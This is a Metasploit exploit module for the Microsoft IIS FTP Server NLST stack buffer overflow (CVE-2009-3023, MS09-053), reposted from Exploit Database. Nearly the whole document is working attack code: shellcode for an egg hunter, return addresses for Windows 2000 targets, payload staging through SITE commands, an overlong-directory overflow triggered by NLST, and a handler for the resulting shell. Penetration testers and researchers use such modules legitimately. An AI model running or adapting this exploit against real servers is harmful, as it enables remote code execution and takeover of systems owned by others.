Microsoft IIS FTP Server – NLST Response Overflow (MS09-053) (Metasploit)

• Exploit Database
• 100 阅读

• 作者： Metasploit
  日期： 2010-11-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16740/

• ##
  # $Id: ms09_053_ftpd_nlst.rb 11003 2010-11-12 06:19:49Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS FTP Server NLST Response Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
  				service. The flaw is triggered when a special NLST argument is passed
  				while the session has changed into a long directory path. For this exploit
  				to work, the FTP server must be configured to allow write access to the
  				file system (either anonymously or in conjunction with a real account)
  			},
  			'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11003 $',
  			'References' =>
  				[
  					['URL', 'http://milw0rm.com/exploits/9541'],
  					['CVE', '2009-3023'],
  					['OSVDB', '57589'],
  					['BID', '36189'],
  					['MSB', 'MS09-053'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 490,
  					'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
  					# This is for the stored payload, the real BadChar list for file paths is:
  					# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => [ 'win' ],
  			'Targets'=>
  				[
  					[
  						'Windows 2000 SP4 English/Italian (IIS 5.0)',
  						{
  							'Ret'=> 0x773d24eb,# jmp esp in activeds.dll (English / 5.0.2195.6601)
  							'Patch'=> 0x7ffd7ffd # works for off-by-two alignment
  						},
  					],
  					[
  						'Windows 2000 SP3 English (IIS 5.0)',
  						{
  							'Ret'=> 0x77e42ed8,# jmp esp in user32.dll (English / 5.0.2195.7032)
  							'Patch'=> 0x7ffd7ffd # works for off-by-two alignment
  						},
  					],
  					[
  						# target from TomokiSanaki
  						'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
  						{
  							'Ret'=> 0x774fa593,# jmp esp in ?? (Japanese)
  							'Patch'=> 0x7ffd7ffd # works for off-by-two alignment
  						},
  					],
  				],
  			'DisclosureDate' => 'Aug 31 2009',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(21),], self.class)
  	end
  
  
  	def exploit
  		connect_login
  
  
  		based = rand_text_alpha_upper(10)
  
  		res = send_cmd( ['MKD', based ], true )
  		print_status(res.strip)
  
  		if (res !~ /directory created/)
  			print_error("The root directory of the FTP server is not writeable")
  			disconnect
  			return
  		end
  
  		res = send_cmd( ['CWD', based ], true )
  		print_status(res.strip)
  
  		egg = rand_text_alpha_upper(4)
  		hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"
  
  		# This egg hunter is necessary because of the huge set of restricted characters for directory names
  		# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
  		# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
  		# to locate the real shellcode. The only change from the original hunter was to randomize the
  		# prefix used.
  
  		# Store our real shellcode on the stack
  		1.upto(5) do
  			res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )
  		end
  
  		# Create the directory path that will be used in the overflow
  		pre = rand_text_alpha_upper(3)# esp+0x28 points here
  		pst = rand_text_alpha_upper(210)# limited by max path
  
  		pst[0, hun.length]= hun # egg hunter
  		pst[ 90,4]= [target['Patch']].pack('V') # patch smashed pointers
  		pst[ 94,4]= [target['Patch']].pack('V')	# patch smashed pointers
  		pst[140, 32]= [target['Patch']].pack('V') * 8# patch smashed pointers
  		pst[158,4]= [target.ret].pack("V")# return
  		pst[182,5]= "\xe9" + [-410].pack("V") # jmp back
  
  		# Escape each 0xff with another 0xff for FTP
  		pst = pst.gsub("\xff", "\xff\xff")
  
  		print_status("Creating long directory...")
  		res = send_cmd( ['MKD', pre+pst ], true )
  		print_status(res.strip)
  
  		srv	= Rex::Socket::TcpServer.create(
  			'LocalHost' => '0.0.0.0',
  			'LocalPort' =>0,
  			'SSL' => false,
  			'Context' => {
  					'Msf'=> framework,
  					'MsfExploit' => self,
  			}
  		)
  
  		add_socket(srv)
  
  		begin
  
  		thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }
  
  			prt = srv.getsockname[2]
  			prt1= prt / 256
  			prt2= prt % 256
  
  			addr= Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"
  
  			res = send_cmd( ['PORT', addr ], true )
  			print_status(res.strip)
  
  			print_status("Trying target #{target.name}...")
  
  			res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )
  			print_status(res.strip) if res
  
  			select(nil,nil,nil,2)
  
  			handler
  			disconnect
  
  		ensure
  			thr.kill
  			srv.close
  
  		end
  	end
  
  end
  

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